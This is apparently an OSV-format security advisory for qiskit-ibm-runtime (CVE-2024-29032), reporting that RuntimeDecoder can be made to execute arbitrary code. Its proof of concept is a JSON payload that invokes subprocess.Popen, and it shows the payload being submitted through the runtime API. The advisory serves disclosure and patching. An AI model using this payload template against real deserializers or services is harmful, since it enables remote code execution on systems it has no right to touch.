{"id":"PYSEC-2026-1858","summary":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","details":"### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(\u003cibm_cloud_credentials\u003e)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)","aliases":["CVE-2024-29032","GHSA-x4x5-jv3x-9c7m"],"modified":"2026-07-07T17:48:08.008702852Z","published":"2026-07-07T11:45:35.805433Z","references":[{"type":"WEB","url":"https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29032"},{"type":"FIX","url":"https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d"},{"type":"PACKAGE","url":"https://github.com/Qiskit/qiskit-ibm-runtime"},{"type":"WEB","url":"https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159"},{"type":"PACKAGE","url":"https://pypi.org/project/qiskit-ibm-runtime"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x4x5-jv3x-9c7m"}],"affected":[{"package":{"name":"qiskit-ibm-runtime","ecosystem":"PyPI","purl":"pkg:pypi/qiskit-ibm-runtime"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0"},{"fixed":"0.21.2"}]}],"versions":["0.1.0","0.1.1","0.10.0","0.11.0","0.11.1","0.11.2","0.11.3","0.12.0","0.12.1","0.12.2","0.13.0","0.14.0","0.15.0","0.15.1","0.16.0","0.16.1","0.17.0","0.18.0","0.19.0","0.19.1","0.2.0","0.20.0","0.21.0","0.21.1","0.3.0","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.7.0","0.7.0rc1","0.7.0rc2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/qiskit-ibm-runtime/PYSEC-2026-1858.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}